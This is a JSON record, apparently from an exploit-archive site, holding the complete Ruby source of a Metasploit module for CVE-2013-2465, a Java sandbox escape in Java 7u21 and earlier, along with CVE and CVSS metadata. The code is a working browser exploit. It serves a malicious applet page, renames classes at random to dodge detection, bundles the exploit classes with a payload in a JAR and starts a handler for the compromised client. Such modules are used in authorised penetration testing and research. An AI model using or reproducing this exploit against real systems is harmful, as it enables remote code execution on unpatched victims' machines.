{"exploit":{"id":"MSF-multi--browser--java_storeimagearray","name":"Java storeImageArray() Invalid Array Indexing Vulnerability","description":"This module abuses an Invalid Array Indexing Vulnerability on the static function storeImageArray() function in order to cause a memory corruption and escape the Java Sandbox. The vulnerability affects Java version 7u21 and earlier. The module, which doesn't bypass click2play, has been tested successfully on Java 7u21 on Windows and Linux systems.","cves":["CVE-2013-2465"],"author":"Unknown, sinn3r, juan vazquez","published":"2013-08-12","platform":"Java,Linux,Windows","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/90dfbaa741421d0179f9f371109c215d49400444/modules/exploits/multi/browser/java_storeimagearray.rb","path":"modules/exploits/multi/browser/java_storeimagearray.rb","revision":"90dfbaa741421d0179f9f371109c215d49400444","filename":"java_storeimagearray.rb","vulnerabilities":[{"id":"CVE-2013-2465","state":"PUBLISHED","title":null,"titleSource":null,"description":"Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 Update 21 and earlier, 6 Update 45 and earlier, and 5.0 Update 45 and earlier, and OpenJDK 7, allows remote attackers to affect confidentiality, integrity, and availability via unknown vectors related to 2D. NOTE: the previous information is from the June 2013 CPU. Oracle has not commented on claims from another vendor that this issue allows remote attackers to bypass the Java sandbox via vectors related to \"Incorrect image channel verification\" in 2D.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2013-2465","cvss":{"version":"3.1","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"CISA-ADP","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2013-2465"},"updatedAt":"2025-10-22T00:05:41.755Z","retrievedAt":"2026-11-26T13:36:17.553Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-multi--browser--java_storeimagearray.png?v=2","url":"https://exploitbin.com/exploits/MSF-multi--browser--java_storeimagearray","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--browser--java_storeimagearray/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--browser--java_storeimagearray/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = GreatRanking # Because there isn't click2play bypass, plus now Java Security Level High by default\n\n  include Msf::Exploit::Remote::HttpServer::HTML\n\n  # include Msf::Exploit::Remote::BrowserAutopwn\n  # autopwn_info({ :javascript => false })\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Java storeImageArray() Invalid Array Indexing Vulnerability',\n        'Description' => %q{\n          This module abuses an Invalid Array Indexing Vulnerability on the\n          static function storeImageArray() function in order to cause a\n          memory corruption and escape the Java Sandbox. The vulnerability\n          affects Java version 7u21 and earlier. The module, which doesn't bypass\n          click2play, has been tested successfully on Java 7u21 on Windows and\n          Linux systems.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'Unknown', # From PacketStorm\n          'sinn3r', # Metasploit\n          'juan vazquez' # Metasploit\n        ],\n        'References' => [\n          [ 'CVE', '2013-2465' ],\n          [ 'OSVDB', '96269' ],\n          [ 'EDB', '27526' ],\n          [ 'PACKETSTORM', '122777' ],\n          [ 'URL', 'http://hg.openjdk.java.net/jdk7u/jdk7u-dev/jdk/rev/2a9c79db0040' ]\n        ],\n        'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },\n        'Targets' => [\n          [\n            'Generic (Java Payload)',\n            {\n              'Arch' => ARCH_JAVA,\n              'Platform' => 'java'\n            }\n          ],\n          [\n            'Windows Universal',\n            {\n              'Arch' => ARCH_X86,\n              'Platform' => 'win'\n            }\n          ],\n          [\n            'Linux x86',\n            {\n              'Arch' => ARCH_X86,\n              'Platform' => 'linux'\n            }\n          ]\n        ],\n        'DefaultTarget' => 0,\n        'DisclosureDate' => '2013-08-12',\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n  end\n\n  def setup\n    path = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2013-2465', 'Exploit.class')\n    @exploit_class = File.open(path, 'rb') { |fd| fd.read(fd.stat.size) }\n    path = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2013-2465', 'Exploit$MyColorModel.class')\n    @color_model_class = File.open(path, 'rb') { |fd| fd.read(fd.stat.size) }\n    path = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2013-2465', 'Exploit$MyColorSpace.class')\n    @color_space_class = File.open(path, 'rb') { |fd| fd.read(fd.stat.size) }\n\n    @exploit_class_name = rand_text_alpha('Exploit'.length)\n    @color_model_class_name = rand_text_alpha('MyColorModel'.length)\n    @color_space_class_name = rand_text_alpha('MyColorSpace'.length)\n\n    @exploit_class.gsub!('Exploit', @exploit_class_name)\n    @exploit_class.gsub!('MyColorModel', @color_model_class_name)\n    @exploit_class.gsub!('MyColorSpace', @color_space_class_name)\n\n    @color_model_class.gsub!('Exploit', @exploit_class_name)\n    @color_model_class.gsub!('MyColorModel', @color_model_class_name)\n    @color_model_class.gsub!('MyColorSpace', @color_space_class_name)\n\n    @color_space_class.gsub!('Exploit', @exploit_class_name)\n    @color_space_class.gsub!('MyColorModel', @color_model_class_name)\n    @color_space_class.gsub!('MyColorSpace', @color_space_class_name)\n\n    super\n  end\n\n  def on_request_uri(cli, request)\n    vprint_status(\"Requesting: #{request.uri}\")\n    if request.uri !~ /\\.jar$/i\n      if !(request.uri =~ %r{/$})\n        vprint_status('Sending redirect...')\n        send_redirect(cli, \"#{get_resource}/\", '')\n        return\n      end\n\n      print_status('Sending HTML...')\n      send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })\n      return\n    end\n\n    print_status('Sending .jar file...')\n    send_response(cli, generate_jar(cli), { 'Content-Type' => 'application/java-archive' })\n\n    handler(cli)\n  end\n\n  def generate_html\n    jar_name = rand_text_alpha(rand(5..7))\n    html = %(<html>\n    <head>\n    </head>\n    <body>\n    <applet archive=\"#{jar_name}.jar\" code=\"#{@exploit_class_name}\" width=\"1000\" height=\"1000\">\n    </applet>\n    </body>\n    </html>\n    )\n    html = html.gsub(/^ {4}/, '')\n    return html\n  end\n\n  def generate_jar(cli)\n    p = regenerate_payload(cli)\n    jar = p.encoded_jar\n\n    jar.add_file(\"#{@exploit_class_name}.class\", @exploit_class)\n    jar.add_file(\"#{@exploit_class_name}$#{@color_model_class_name}.class\", @color_model_class)\n    jar.add_file(\"#{@exploit_class_name}$#{@color_space_class_name}.class\", @color_space_class)\n    metasploit_str = rand_text_alpha('metasploit'.length)\n    payload_str = rand_text_alpha('payload'.length)\n    jar.entries.each do |entry|\n      entry.name.gsub!('metasploit', metasploit_str)\n      entry.name.gsub!('Payload', payload_str)\n      entry.data = entry.data.gsub('metasploit', metasploit_str)\n      entry.data = entry.data.gsub('Payload', payload_str)\n    end\n    jar.build_manifest\n\n    return jar.pack\n  end\nend\n","sha256":"6f620abc0bc1c7ec1fdbb18f2988674897f8f27de400611069d77421836125cb","bytes":5334,"fetchedAt":"2026-11-26T13:36:17.422Z","encoding":"utf-8 (display only; download retains original bytes)"}